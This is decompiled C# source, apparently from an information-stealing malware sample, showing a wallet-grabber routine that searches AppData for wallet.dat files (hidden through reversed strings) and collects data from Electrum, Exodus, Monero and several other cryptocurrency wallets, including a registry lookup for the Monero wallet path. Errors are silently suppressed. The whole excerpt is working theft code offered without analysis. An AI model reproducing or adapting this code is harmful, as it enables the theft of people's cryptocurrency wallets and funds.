// Token: 0x06000191 RID: 401 RVA: 0x00004A38 File Offset: 0x00002C38 public static IList <ColdWallet> ParseFiles() { List <ColdWallet> list = new List <ColdWallet>(); try { List <string> list2 = DecryptHelper.FindPaths(Constants.RoamingAppData, 2, 1, new string[] { new string("tad.tellaw".Reverse <char>().ToArray <char>()), new string("tellaw".Reverse <char>().ToArray <char>()) }); list2.AddRange(DecryptHelper.FindPaths(Constants.LocalAppData, 2, 1, new string[] { new string("tad.tellaw".Reverse <char>().ToArray <char>()), new string("tellaw".Reverse <char>().ToArray <char>()) })); foreach (string text in list2) { try { FileInfo fileInfo = new FileInfo(text); list.Add(new ColdWallet { DataArray = File.ReadAllBytes(text), FileName = fileInfo.Name, WalletName = fileInfo.Directory.Name, WalletDir = fileInfo.Directory.Name }); } catch { } } List <ColdWallet> list3 = new List <ColdWallet>(); list3.AddRange(ColdWalletsGrabber.ParseElectrum()); list3.AddRange(ColdWalletsGrabber.ParseEth()); list3.AddRange(ColdWalletsGrabber.ParseExodus()); list3.AddRange(ColdWalletsGrabber.ParseGuarda()); list3.AddRange(ColdWalletsGrabber.ParseAtomic()); list3.AddRange(ColdWalletsGrabber.ParseCoinomi()); list3.AddRange(ColdWalletsGrabber.ParseWaves()); list3.AddRange(ColdWalletsGrabber.ParseJaxx()); ColdWallet item = ColdWalletsGrabber.ParseMonero(); if (!string.IsNullOrWhiteSpace(item.FileName)) { list.Add(item); } foreach (ColdWallet item2 in list3) { list.Add(item2); } } catch (Exception) { } return(list); }
// Token: 0x0600019A RID: 410 RVA: 0x00005470 File Offset: 0x00003670 private static ColdWallet ParseMonero() { try { RegistryKey currentUser = Registry.CurrentUser; RegistryKey registryKey; if (currentUser == null) { registryKey = null; } else { RegistryKey registryKey2 = currentUser.OpenSubKey("Software"); if (registryKey2 == null) { registryKey = null; } else { RegistryKey registryKey3 = registryKey2.OpenSubKey("monero-project"); registryKey = ((registryKey3 != null) ? registryKey3.OpenSubKey("monero-core") : null); } } using (RegistryKey registryKey4 = registryKey) { char[] separator = new char[] { '\\' }; string text = (registryKey4 != null) ? registryKey4.GetValue("wallet_path").ToString().Replace("/", "\\") : null; if (File.Exists(text)) { byte[] array = File.ReadAllBytes(text); if (array != null) { ColdWallet result = default(ColdWallet); result.DataArray = array; result.WalletName = "Monero"; result.FileName = text.Split(separator)[text.Split(separator).Length - 1]; result.WalletDir = "Monero"; return(result); } } } } catch { } return(default(ColdWallet)); }